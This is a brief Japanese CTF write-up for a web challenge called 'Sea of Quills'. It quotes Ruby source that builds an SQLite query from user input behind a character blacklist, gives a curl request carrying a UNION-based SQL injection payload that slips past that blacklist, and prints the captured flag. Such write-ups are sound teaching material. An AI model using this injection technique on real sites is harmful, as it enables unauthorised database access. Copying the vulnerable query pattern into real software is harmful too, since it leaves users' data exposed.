Rating:
# Sea of Quills:Web:70pts
Come check out our finest [selection of quills](https://seaofquills.2021.chall.actf.co/)!
[app.rb](app.rb)
# Solution
アクセスすると羽ペンが販売されているサイトのようだ。
パンダが密売されている。
Home
[site1.png](site/site1.png)
/quillsで検索もできるようだ。
Explore
[site2.png](site/site2.png)
配布されたapp.rbの検索部分のソースを見ると以下のような箇所がある。
```ruby
~~~
db = SQLite3::Database.new "quills.db"
cols = params[:cols]
lim = params[:limit]
off = params[:offset]
blacklist = ["-", "/", ";", "'", "\""]
blacklist.each { |word|
if cols.include? word
return "beep boop sqli detected!"
end
}
if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
return "bad, no quills for you!"
end
@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
~~~
```
SQLインジェクションできるがブラックリストをバイパスする必要があるようだ。
SQL文を無理やり終了はさせられないが、unionで繋げば正常になる。
以下のようにquillsの個数を見てみる。
```bash
$ curl -X POST https://seaofquills.2021.chall.actf.co/quills -d "limit=1000&offset=0&cols=count(*),1,2 from quills union select *"
~~~
## actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}